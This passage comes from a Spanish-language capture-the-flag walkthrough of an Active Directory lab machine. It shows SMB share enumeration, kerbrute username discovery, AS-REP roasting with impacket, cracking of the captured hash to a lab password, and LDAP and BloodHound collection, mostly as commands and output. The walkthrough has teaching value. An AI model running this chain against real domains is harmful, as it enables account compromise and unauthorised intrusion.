	dr--r--r--                0 Wed Jun  3 13:47:12 2020	YSkoropada
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	YVonebers
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	YZarpentine
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	ZAlatti
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	ZKrenselewski
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	ZMalaab
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	ZMiick
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	ZScozzari
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	ZTimofeeff
	dr--r--r--                0 Wed Jun  3 13:47:12 2020	ZWausik
	SYSVOL                                            	NO ACCESS	Logon server share 
[*] Closed 1 connections
```

Podemos ver una lista larga de directorios que parecen ser usuarios dentro del dominio del entorno de directorio activo, vamos a aplicar filtros para con "awk" quedarnos con el ultimo argumento de cada linea:

```bash
smbmap -H 10.10.10.192 -u 'null' -r 'profiles$' | awk 'NF{print $NF}'
```

```bash
❯ smbmap -H 10.10.10.192 -u 'null' -r 'profiles$' | awk 'NF{print $NF}'
_______
"\
:)
____/
/
\
\___)(_______)
-----------------------------------------------------------------------------
ShawnDEvans@gmail.com
https://github.com/ShawnDEvans/smbmap
SMB
session(s)

Authenticated
Comment
-------
Admin
share
share.
IPC
share
ONLY
./profiles$
.
..
AAlleni
ABarteski
ABekesz
ABenzies
ABiemiller
AChampken
ACheretei
ACsonaki
AHigchens
AJaquemai
AKlado
AKoffenburger
AKollolli
AKruppe
AKubale
ALamerz
AMaceldon
AMasalunga
ANavay
ANesterova
ANeusse
AOkleshen
APustulka
ARotella
ASanwardeker
AShadaia
ASischo
ASpruce
ATakach
ATaueg
ATwardowski
audit2020
AWangenheim
AWorsey
AZigmunt
BBakajza
BBeloucif
BCarmitcheal
BConsultant
BErdossy
BGeminski
BLostal
BMannise
BNovrotsky
BRigiero
BSamkoses
BZandonella
CAcherman
CAkbari
CAldhowaihi
CArgyropolous
CDufrasne
CGronk
Chiucarello
Chiuccariello
CHoytal
CKijauskas
CKolbo
CMakutenas
CMorcillo
CSchandall
CSelters
CTolmie
DCecere
DChintalapalli
DCwilich
DGarbatiuc
DKemesies
DMatuka
DMedeme
DMeherek
DMetych
DPaskalev
DPriporov
DRusanovskaya
DVellela
DVogleson
DZwinak
EBoley
EEulau
EFeatherling
EFrixione
EJenorik
EKmilanovic
ElKatkowsky
EmaCaratenuto
EPalislamovic
EPryar
ESachhitello
ESariotti
ETurgano
EWojtila
FAlirezai
FBaldwind
FBroj
FDeblaquire
FDegeorgio
FianLaginja
FLasokowski
FPflum
FReffey
GaBelithe
Gareld
GBatowski
GForshalger
GGomane
GHisek
GMaroufkhani
GMerewether
GQuinniey
GRoswurm
GWiegard
HBlaziewske
HColantino
HConforto
HCunnally
HGougen
HKostova
IChristijr
IKoledo
IKotecky
ISantosi
JAngvall
JBehmoiras
JDanten
JDjouka
JKondziola
JLeytushsenior
JLuthner
JMoorehendrickson
JPistachio
JScima
JSebaali
JShoenherr
JShuselvt
KAmavisca
KAtolikian
KBrokinn
KCockeril
KColtart
KCyster
KDorney
KKoesno
KLangfur
KMahalik
KMasloch
KMibach
KParvankova
KPregnolato
KRasmor
KShievitz
KSojdelius
KTambourgi
KVlahopoulos
KZyballa
LBajewsky
LBaligand
LBarhamand
LBirer
LBobelis
LChippel
LChoffin
LCominelli
LDruge
LEzepek
LHyungkim
LKarabag
LKirousis
LKnade
LKrioua
LLefebvre
LLoeradeavilez
LMichoud
LTindall
LYturbe
MArcynski
MAthilakshmi
MAttravanam
MBrambini
MHatziantoniou
MHoerauf
MKermarrec
MKillberg
MLapesh
MMakhsous
MMerezio
MNaciri
MShanmugarajah
MSichkar
MTemko
MTipirneni
MTonuri
MVanarsdel
NBellibas
NDikoka
NGenevro
NGoddanti
NMrdirk
NPulido
NRonges
NSchepkie
NVanpraet
OBelghazi
OBushey
OHardybala
OLunas
ORbabka
PBourrat
PBozzelle
PBranti
PCapperella
PCurtz
PDoreste
PGegnas
PMasulla
PMendlinger
PParakat
PProvencer
PTesik
PVinkovich
PVirding
PWeinkaus
RBaliukonis
RBochare
RKrnjaic
RNemnich
RPoretsky
RStuehringer
RSzewczuga
RVallandas
RWeatherl
RWissor
SAbdulagatov
SAjowi
SAlguwaihes
SBonaparte
SBouzane
SChatin
SDellabitta
SDhodapkar
SEulert
SFadrigalan
SGolds
SGrifasi
SGtlinas
SHauht
SHederian
SHelregel
SKrulig
SLewrie
SMaskil
Smocker
SMoyta
SRaustiala
SReppond
SSicliano
SSilex
SSolsbak
STousignaut
support
svc_backup
SWhyte
SWynigear
TAwaysheh
TBadenbach
TCaffo
TCassalom
TEiselt
TFerencdo
TGaleazza
TKauten
TKnupke
TLintlop
TMusselli
TOust
TSlupka
TStausland
TZumpella
UCrofskey
UMarylebone
UPyrke
VBublavy
VButziger
VFuscca
VLitschauer
VMamchuk
VMarija
VOlaosun
VPapalouca
WSaldat
WVerzhbytska
WZelazny
XBemelen
XDadant
XDebes
XKonegni
XRykiel
YBleasdale
YHuftalin
YKivlen
YKozlicki
YNyirenda
YPredestin
YSeturino
YSkoropada
YVonebers
YZarpentine
ZAlatti
ZKrenselewski
ZMalaab
ZMiick
ZScozzari
ZTimofeeff
ZWausik
share
connections
```

Con esto restaría guardarlo en un archivo llamado "users" y luego editarlo para eliminar las primeras lineas que no corresponden con usuarios:

```bash
❯ smbmap -H 10.10.10.192 -u 'null' -r 'profiles$' | awk 'NF{print $NF}' > users
❯ nvim users
❯ cat users
───────┬──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: users
───────┼──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ AAlleni
   2   │ ABarteski
   3   │ ABekesz
   4   │ ABenzies
   5   │ ABiemiller
   6   │ AChampken
   7   │ ACheretei
   8   │ ACsonaki
   9   │ AHigchens
  10   │ AJaquemai
  11   │ AKlado
.....
```

Ya con esto, podríamos utilizar una herramienta llamda "kerbrute" para realizar un enumeramiento de los usuarios correctos que se encuentran dentro de esta lista del usuarios interactuando con Kerberos

[`Repositorio de kerbrute`](https://github.com/ropnop/kerbrute/releases/tag/v1.0.3)

```bash
❯ ./kerbrute --help

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: v1.0.3 (9dad6e1) - 03/18/25 - Ronnie Flathers @ropnop

This tool is designed to assist in quickly bruteforcing valid Active Directory accounts through Kerberos Pre-Authentication.
It is designed to be used on an internal Windows domain with access to one of the Domain Controllers.
Warning: failed Kerberos Pre-Auth counts as a failed login and WILL lock out accounts

Usage:
  kerbrute [command]

Available Commands:
  bruteforce    Bruteforce username:password combos, from a file or stdin
  bruteuser     Bruteforce a single user's password from a wordlist
  help          Help about any command
  passwordspray Test a single password against a list of users
  userenum      Enumerate valid domain usernames via Kerberos
  version       Display version info and quit

Flags:
      --dc string       The location of the Domain Controller (KDC) to target. If blank, will lookup via DNS
      --delay int       Delay in millisecond between each attempt. Will always use single thread if set
  -d, --domain string   The full domain to use (e.g. contoso.com)
  -h, --help            help for kerbrute
  -o, --output string   File to write logs to. Optional.
      --safe            Safe mode. Will abort if any user comes back as locked out. Default: FALSE
  -t, --threads int     Threads to use (default 10)
  -v, --verbose         Log failures and errors

Use "kerbrute [command] --help" for more information about a command
```

Vamos a enumerar usuarios que sean correctos dentro del DC con esta herramienta, de la siguiente manera:

```bash
/opt/kerbrute/kerbrute userenum --dc 10.10.10.192 -d blackfield.local users
```

Primero vamos a especificarle que queremos enumerar usuarios, luego le especificamos la IP del domain controller, luego el dominio y por ultimo la lista de usuarios que extraimos del recurso compartido `"profiles$"`

```bash
❯ /opt/kerbrute/kerbrute userenum --dc 10.10.10.192 -d blackfield.local users

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: v1.0.3 (9dad6e1) - 03/18/25 - Ronnie Flathers @ropnop

2025/03/18 22:40:02 >  Using KDC(s):
2025/03/18 22:40:02 >  	10.10.10.192:88

2025/03/18 22:40:23 >  [+] VALID USERNAME:	audit2020@blackfield.local
2025/03/18 22:42:21 >  [+] VALID USERNAME:	support@blackfield.local
2025/03/18 22:42:26 >  [+] VALID USERNAME:	svc_backup@blackfield.local
2025/03/18 22:42:53 >  Done! Tested 316 usernames (3 valid) in 171.217 seconds
```

```
audit2020
support
svc_backup
```

Una vez obtenido los nombres de usuarios que realmente corresponden al DC del directorio activo, vamos a realizar un ataque clásico en entornos de directorio activo

### `2.2 Ataque ASREPROast`

`El ataque AS-REP Roasting es una técnica dirigida a Kerberos, un protocolo de autenticación de red utilizado en diversas infraestructuras de TI. Este ataque se centra en las cuentas de usuario que tienen desactivada la función de preautenticación de Kerberos.`

Vamos a realizar un ataque llamado "ASREPROast" con los usuarios obtenidos, para esto vamos a utilizar `"impacket-GetNPUsers"`, esta herramienta por lo general se utilizar para obtener tickets(TGT o TGS) del servidor Kerberos para pasarle la lista de usuarios que hemos encontrado anteriormente y obtener un ticket de alguno de los usuarios si es que los usuarios dentro del entorno de directorio activo tienen activada la función de preautenticación de Kerberos(Don't Require Preauth)

Para eso vamos a guardar la lista de usuarios encontrados:

```bash
❯ nvim valid_users
❯ cat valid_users
───────┬──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: valid_users
───────┼──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ audit2020
   2   │ support
   3   │ svc_backup
───────┴──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
```

Un ejemplo de como utilizar "impacket-GetNPUsers" para este caso en concreto:

```
4. Request TGTs for users in a file

	GetNPUsers.py -no-pass -usersfile users.txt contoso.com/
```

De tal manera que:

```bash
impacket-GetNPUsers -no-pass -usersfile valid_users blackfield.local/
```

```bash
❯ impacket-GetNPUsers -no-pass -usersfile valid_users blackfield.local/
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

/usr/share/doc/python3-impacket/examples/GetNPUsers.py:165: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
[-] User audit2020 doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$support@BLACKFIELD.LOCAL:23c5110ee8c5f3fd29c39f9163952d91$77b710e4ecf75a9fa85e6fedcb54a60f571e40e67ea51294318f17d42258717be520261ae730233db3561ab65fba0f022a344c0aa425d724b962b7710a1c31f1be09d7652fdb7cb1463f695978482d46071f20edd2467bab5e146f0d8235245ddfed0141484965254f324ffbc5c8a957b1ed05d3bf2ac7808c471ca37ed1d7afb99369196e718673859b0a5c0f23ff8a7566c95f0b2c5d77a8e85c132392941211f6dd74c96261634a5f86fd79bddc7cd80826da8c28984933ce5d6ce8bf0d15262f0b9d6bb7df931e25c44767ea236f6db5bb7185b78e27927f0379aa287eb755b32e656e608ca6e342e05b1580dc6dc0b6f234
[-] User svc_backup doesn't have UF_DONT_REQUIRE_PREAUTH set
```

Podemos ver que el usuario "support" cuenta con la preautenticación de Kerberos activada, de tal manera que ahora, con este hash que nos dio como output la herramienta, podriamos crackearlo con `"john"` para obtener la contraseña en texto plano:

```bash
❯ nvim hash
❯ cat hash
───────┬──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: hash
───────┼──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ $krb5asrep$23$support@BLACKFIELD.LOCAL:23c5110ee8c5f3fd29c39f9163952d91$77b710e4ecf75a9fa85e6fedcb54a60f571e40e67ea51294318f17d42258717be520261ae730233db3561ab65fba0f022a344
       │ c0aa425d724b962b7710a1c31f1be09d7652fdb7cb1463f695978482d46071f20edd2467bab5e146f0d8235245ddfed0141484965254f324ffbc5c8a957b1ed05d3bf2ac7808c471ca37ed1d7afb99369196e71867385
       │ 9b0a5c0f23ff8a7566c95f0b2c5d77a8e85c132392941211f6dd74c96261634a5f86fd79bddc7cd80826da8c28984933ce5d6ce8bf0d15262f0b9d6bb7df931e25c44767ea236f6db5bb7185b78e27927f0379aa287eb
       │ 755b32e656e608ca6e342e05b1580dc6dc0b6f234
───────┴──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
❯ john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
#00^BlackKnight  ($krb5asrep$23$support@BLACKFIELD.LOCAL)     
1g 0:00:00:30 DONE (2025-03-18 22:57) 0.03236g/s 463915p/s 463915c/s 463915C/s #1ByNature..#*burberry#*1990
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

Tenemos credenciales:

```
support:#00^BlackKnight
```

Ahora vamos a verificar si estas credenciales son validas con crackmapexec:

```bash
crackmapexec smb 10.10.10.192 -u 'support' -p '#00^BlackKnight'
```

```bash
❯ crackmapexec smb 10.10.10.192 -u 'support' -p '#00^BlackKnight'
SMB         10.10.10.192    445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:BLACKFIELD.local) (signing:True) (SMBv1:False)
SMB         10.10.10.192    445    DC01             [+] BLACKFIELD.local\support:#00^BlackKnight
```

Son validas, pero no nos mostro el "PWNED", por lo que no podemos utilizar psexec o evil-winrm para obtener una shell, ahora vamos a ver que permisos tenemos sobre los recursos compartidos del servidor SMB con estas credenciales utilizando smbmap:

```bash
smbmap -H 10.10.10.192 -u 'support' -p '#00^BlackKnight'
```

```bash
❯ smbmap -H 10.10.10.192 -u 'support' -p '#00^BlackKnight'

    ________  ___      ___  _______   ___      ___       __         _______
   /"       )|"  \    /"  ||   _  "\ |"  \    /"  |     /""\       |   __ "\
  (:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (. |__) :)
   \___  \    /\  \/.    ||:     \/   /\   \/.    |   /' /\  \     |:  ____/
    __/  \   |: \.        |(|  _  \  |: \.        |  //  __'  \    (|  /
   /" \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \  /|__/ \
  (_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/    \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.7 | Shawn Evans - ShawnDEvans@gmail.com
                     https://github.com/ShawnDEvans/smbmap

[*] Detected 1 hosts serving SMB                                                                                                  
[*] Established 1 SMB connections(s) and 1 authenticated session(s)                                                      
                                                                                                                             
[+] IP: 10.10.10.192:445	Name: blackfield.local    	Status: Authenticated
	Disk                                                  	Permissions	Comment
	----                                                  	-----------	-------
	ADMIN$                                            	NO ACCESS	Remote Admin
	C$                                                	NO ACCESS	Default share
	forensic                                          	NO ACCESS	Forensic / Audit share.
	IPC$                                              	READ ONLY	Remote IPC
	NETLOGON                                          	READ ONLY	Logon server share 
	profiles$                                         	READ ONLY	
	SYSVOL                                            	READ ONLY	Logon server share 
[*] Closed 1 connections
```

Parece que solo tenemos permisos de lectura en recursos compartidos no tan interesantes, "profiles$" ya lo revisamos

### `2.3 ldapdomaindump`

Ahora, mediante el servidor LDAP, vamos a obtener información de los grupos, permisos y usuarios que se encuentran dentro del directorio activo, para eso utilizaremos la herramienta `"ldapdomaindump"`

Vamos a dirigirnos a `/var/www/html`

```
❯ cd /var/www/html
```

Y vamos a ejecutar "ldapdomaindump" especificandole las credenciales encontradas, ademas del dominio del DC

```bash
ldapdomaindump -u 'blackfield.local\support' -p '#00^BlackKnight' 10.10.10.192
```

```bash
❯ ldapdomaindump -u 'blackfield.local\support' -p '#00^BlackKnight' 10.10.10.192
[*] Connecting to host...
[*] Binding to host
[+] Bind OK
[*] Starting domain dump
[+] Domain dump finished
```

Y ahora vamos a alojar un servidor web con Python en nuestro kali, mediante el puerto 80:

```bash
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

```

Y nos vamos a ir a Firefox, al siguiente enlace:

```
http://localhost:80/domain_users.html
```

<figure><img src="https://2897455911-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLkxb8a4mkZnubGzcqLZE%2Fuploads%2FUdAVsHoVIhFZHXiHsiv2%2Fimage.png?alt=media&#x26;token=d372fb2f-336b-46d4-acd2-16baf20ccaa5" alt=""><figcaption></figcaption></figure>

Podemos ver que al ni bien entrar, el usuario "svc\_backup" del DC, esta dentro del grupo "Remote Management Users", lo cual es interesante, y nos indica que tendríamos que apuntar hacia ese usuario para conseguir una shell con evil-winrm o psexec

<figure><img src="https://2897455911-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLkxb8a4mkZnubGzcqLZE%2Fuploads%2FcYRbsbpuXPSU8BCCiJrO%2Fimage.png?alt=media&#x26;token=f479b9d8-7bf5-43dc-b832-5c30d998099d" alt=""><figcaption></figcaption></figure>

### `2.4 neo4j y Bloodhound`

Para utilizar BloodHound vamos a necesitar abrir un servicio en Kali, llamado neo4j, que es el servicio que nos permite utilizar BloodHound, neo4j es un servicio de base de datos, que se aloja en el puerto 7687, vamos a instalar la herramienta con el gestor de paquetes "apt":

```bash
┌──(root㉿kali)-[/home/t0mz/ctf/forest]
└─# sudo apt-get install neo4j 
Leyendo lista de paquetes... Hecho
Creando árbol de dependencias... Hecho
Leyendo la información de estado... Hecho
Los paquetes indicados a continuación se instalaron de forma automática y ya no son necesarios.
  libldap-2.5-0 libpython3.12-dev python3.12 python3.12-dev python3.12-minimal python3.12-venv
Utilice «sudo apt autoremove» para eliminarlos.
Se instalarán los siguientes paquetes adicionales:
  binfmt-support fastjar jarwrapper openjdk-11-jre openjdk-11-jre-headless
Paquetes sugeridos:
  fonts-ipafont-gothic fonts-ipafont-mincho fonts-wqy-microhei | fonts-wqy-zenhei fonts-indic
Se instalarán los siguientes paquetes NUEVOS:
  binfmt-support fastjar jarwrapper neo4j openjdk-11-jre openjdk-11-jre-headless
0 actualizados, 6 nuevos se instalarán, 0 para eliminar y 785 no actualizados.
Se necesita descargar 138 MB de archivos.
Se utilizarán 289 MB de espacio de disco adicional después de esta operación.
¿Desea continuar? [S/n] S
```

Y para poner en marcha `neo4j`, vamos a utilizar el comando `"neo4j console"`:

```bash
┌──(root㉿kali)-[/home/t0mz/ctf/forest]
└─# neo4j console 
Directories in use:
home:         /usr/share/neo4j
config:       /usr/share/neo4j/conf
logs:         /etc/neo4j/logs
plugins:      /usr/share/neo4j/plugins
import:       /usr/share/neo4j/import
data:         /etc/neo4j/data
certificates: /usr/share/neo4j/certificates
licenses:     /usr/share/neo4j/licenses
run:          /var/lib/neo4j/run
Starting Neo4j.
2025-03-06 18:30:32.789+0000 INFO  Starting...
2025-03-06 18:30:34.545+0000 INFO  This instance is ServerId{7e9c33b3} (7e9c33b3-8359-4c29-913d-b4b46de030b1)
2025-03-06 18:30:36.430+0000 INFO  ======== Neo4j 4.4.26 ========
2025-03-06 18:30:38.655+0000 INFO  Initializing system graph model for component 'security-users' with version -1 and status UNINITIALIZED
2025-03-06 18:30:38.669+0000 INFO  Setting up initial user from defaults: neo4j
2025-03-06 18:30:38.672+0000 INFO  Creating new user 'neo4j' (passwordChangeRequired=true, suspended=false)
2025-03-06 18:30:38.695+0000 INFO  Setting version for 'security-users' to 3
2025-03-06 18:30:38.699+0000 INFO  After initialization of system graph model component 'security-users' have version 3 and status CURRENT
2025-03-06 18:30:38.710+0000 INFO  Performing postInitialization step for component 'security-users' with version 3 and status CURRENT
2025-03-06 18:30:41.792+0000 INFO  Bolt enabled on localhost:7687.
2025-03-06 18:30:43.084+0000 INFO  Remote interface available at http://localhost:7474/
2025-03-06 18:30:43.090+0000 INFO  id: A53CF8AB6179D63A38C7EFF613B6CBB1EA39E685117FA81BEE0560291EF861FF
2025-03-06 18:30:43.090+0000 INFO  name: system
2025-03-06 18:30:43.091+0000 INFO  creationDate: 2025-03-06T18:30:37.203Z
2025-03-06 18:30:43.091+0000 INFO  Started.

```

Vemos que el servicio se encuentra corriendo el servicio "neo4j" correctamente y que esta alojado en local "localhost", por el puerto 7687, "<http://localhost:7474/>", asi que vamos a irnos a nuestro navegador de preferencia dentro de Kali y vamos a ingresar a "neo4j":

<figure><img src="https://2897455911-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLkxb8a4mkZnubGzcqLZE%2Fuploads%2FnuygtNnbaTwV0Jr1wpbi%2Fimage.png?alt=media&#x26;token=c6ee3737-7ad8-446e-89e1-238596d338a5" alt=""><figcaption></figcaption></figure>

Tenemos un panel de login, las credenciales por default son `"neo4j/neo4j"`:

<figure><img src="https://2897455911-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLkxb8a4mkZnubGzcqLZE%2Fuploads%2FPpHerbNViv6vDONfY2Jj%2Fimage.png?alt=media&#x26;token=574b925f-d27f-4053-ab1c-4aa66b8dc30e" alt=""><figcaption></figcaption></figure>

Nos va a pedir una password nueva:

<figure><img src="https://2897455911-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLkxb8a4mkZnubGzcqLZE%2Fuploads%2FCEb9LxmcGVoR6bgMHBtE%2Fimage.png?alt=media&#x26;token=4e66cc32-88f8-44b5-9567-c4cab67b11ff" alt=""><figcaption></figcaption></figure>

La ingresamos:

<figure><img src="https://2897455911-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLkxb8a4mkZnubGzcqLZE%2Fuploads%2FYeJOAs9pT8LzPAU5BYZ3%2Fimage.png?alt=media&#x26;token=18d33be7-4c16-49a8-81bf-e7ace0f1c1c5" alt=""><figcaption></figcaption></figure>

Y ahora por ultimo, vamos a instalar `BloodHund` con `"apt"`, que ya viene dentro de los repositorios oficiales de Kali:

```bash
┌──(root㉿kali)-[/home/t0mz/ctf/forest]
└─# sudo apt-get install bloodhound
Leyendo lista de paquetes... Hecho
Creando árbol de dependencias... Hecho
Leyendo la información de estado... Hecho
Los paquetes indicados a continuación se instalaron de forma automática y ya no son necesarios.
  libldap-2.5-0 libpython3.12-dev python3.12 python3.12-dev python3.12-minimal python3.12-venv
Utilice «sudo apt autoremove» para eliminarlos.
Se instalarán los siguientes paquetes NUEVOS:
  bloodhound
0 actualizados, 1 nuevos se instalarán, 0 para eliminar y 785 no actualizados.
Se necesita descargar 69,3 MB de archivos.
Se utilizarán 274 MB de espacio de disco adicional después de esta operación.
Des:1 http://kali.download/kali kali-rolling/main amd64 bloodhound amd64 4.3.1-0kali2 [69,3 MB]
Descargados 69,3 MB en 7s (9.532 kB/s)                                                                                                 
Seleccionando el paquete bloodhound previamente no seleccionado.
(Leyendo la base de datos ... 411133 ficheros o directorios instalados actualmente.)
Preparando para desempaquetar .../bloodhound_4.3.1-0kali2_amd64.deb ...
Desempaquetando bloodhound (4.3.1-0kali2) ...
Configurando bloodhound (4.3.1-0kali2) ...
Procesando disparadores para kali-menu (2025.1.1) ...
                                                                                                                                        
┌──(root㉿kali)-[/home/t0mz/ctf/forest]
└─# 
```

Ejecutamos `BloodHound`:

<figure><img src="https://2897455911-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLkxb8a4mkZnubGzcqLZE%2Fuploads%2FOkx0YXrE6Q0mw8nw2QXi%2Fimage.png?alt=media&#x26;token=7885ef19-0f68-4e93-b4f8-24990e7e5046" alt=""><figcaption></figcaption></figure>

Y ingresamos las credenciales de neo4j, incluyendo la password nueva que ingresamos dentro del panel de neo4j:

(El usuario sigue siendo "neo4j" y la contraseña es la que ingresamos anteriormente para cambiarla cuando instalamos neo4j)

<figure><img src="https://2897455911-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLkxb8a4mkZnubGzcqLZE%2Fuploads%2FztduFQDZcYeMn0PsxrvV%2Fimage.png?alt=media&#x26;token=d7e9c3e4-2a4f-440f-9bc7-be2ff1634b4b" alt=""><figcaption></figcaption></figure>

### `2.5 bloodhound-python`

Cuando instalamos Bloodhound, nos instala tambien "bloodhound-python", que nos sirve para cargar información dentro de Bloodhound y dentro de la misma tener una visualización mas clara de vías potenciales de entrada al entorno de directorio activo, para eso utilizaremos el siguiente comando:

```bash
bloodhound-python -c all -u 'support' -p '#00^BlackKnight' -ns 10.10.10.192 -d blackfield.local
```

Con este comando le estamos diciendo a la herramienta que queremos extraer toda la información del directorio activo

```bash
❯ bloodhound-python -c all -u 'support' -p '#00^BlackKnight' -ns 10.10.10.192 -d blackfield.local
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: blackfield.local
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: [Errno Connection error (dc01.blackfield.local:88)] [Errno -2] Name or service not known
INFO: Connecting to LDAP server: dc01.blackfield.local
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 18 computers
INFO: Connecting to LDAP server: dc01.blackfield.local
INFO: Found 316 users
INFO: Found 52 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: 
INFO: Querying computer: 
INFO: Querying computer: 
INFO: Querying computer: 
INFO: Querying computer: 
INFO: Querying computer: 
INFO: Querying computer: 
INFO: Querying computer: 
INFO: Querying computer: 
INFO: Querying computer: DC01.BLACKFIELD.local
INFO: Querying computer: 
INFO: Querying computer: 
INFO: Querying computer: 
INFO: Querying computer: 
INFO: Querying computer: 
INFO: Querying computer: 
INFO: Querying computer: 
INFO: Querying computer: 

INFO: Done in 00M 34S
```

Nos deja varios archivos JSON donde hayamos ejecutado la herramienta:

```
❯ ls
 20250318233201_computers.json    20250318233201_domains.json   20250318233201_groups.json   20250318233201_users.json
 20250318233201_containers.json   20250318233201_gpos.json      20250318233201_ous.json
```

Estos archivos JSON hay que subirlos a BloodHound, en `"Upload Data"`:

<figure><img src="https://2897455911-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLkxb8a4mkZnubGzcqLZE%2Fuploads%2FGI349jdMJiJzbQoxyyB7%2Fimage.png?alt=media&#x26;token=876eb07c-b0f7-44f1-8859-cf19063755d4" alt=""><figcaption></figcaption></figure>

Esto nos empezara a subir toda la información extraida del directorio activo para subirlo a BloodHound:

<figure><img src="https://2897455911-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLkxb8a4mkZnubGzcqLZE%2Fuploads%2FaLAPJatB2tdP73Lt3Xtu%2Fimage.png?alt=media&#x26;token=159c9ad0-43be-40bb-a162-017fd935cc70" alt=""><figcaption></figcaption></figure>

Y una vez cargado, vamos a buscar el usuario anteriormente comprometido(support) en la barra desplegable de la esquina superior derecha:

<figure><img src="https://2897455911-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLkxb8a4mkZnubGzcqLZE%2Fuploads%2FUngQSd2L3CrYBqcMJUtL%2Fimage.png?alt=media&#x26;token=1ecc2a06-9df5-49e9-9360-594b0601864a" alt=""><figcaption></figcaption></figure>

Se nos va a poner el usuario en la pantalla, y vamos a darle click derecho `"Mark User as owned"`

<figure><img src="https://2897455911-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLkxb8a4mkZnubGzcqLZE%2Fuploads%2F5DhHbj5JUxB7BLG1sGls%2Fimage.png?alt=media&#x26;token=1b845773-0f40-4dc8-ae86-403ba51b5a01" alt=""><figcaption></figcaption></figure>

Ahora vamos a irnos a la pestaña "Node Info" del menu desplegable de la esquina superior derecha, que contiene información relevante sobre el usuario anteriormente comprometido y ademas cosas que podriamos realizar con este usuario, ademas de los privilegios y grupos a los que pertenece el usuario:

<figure><img src="https://2897455911-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLkxb8a4mkZnubGzcqLZE%2Fuploads%2FNw5EyAF1TH3IGxbj4ifL%2Fimage.png?alt=media&#x26;token=b05c2b64-124e-4c93-abf4-9aec586e45cb" alt=""><figcaption></figcaption></figure>

Si bajamos abajo del todo, veremos un `"First Degree Object Control"`

<figure><img src="https://2897455911-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLkxb8a4mkZnubGzcqLZE%2Fuploads%2FVgzXJAchREB3IntAEP89%2Fimage.png?alt=media&#x26;token=a1f0f981-b73c-489b-a12f-e2760cd7f21a" alt=""><figcaption></figcaption></figure>

Lo clickeamos y vamos a ver de que trata:

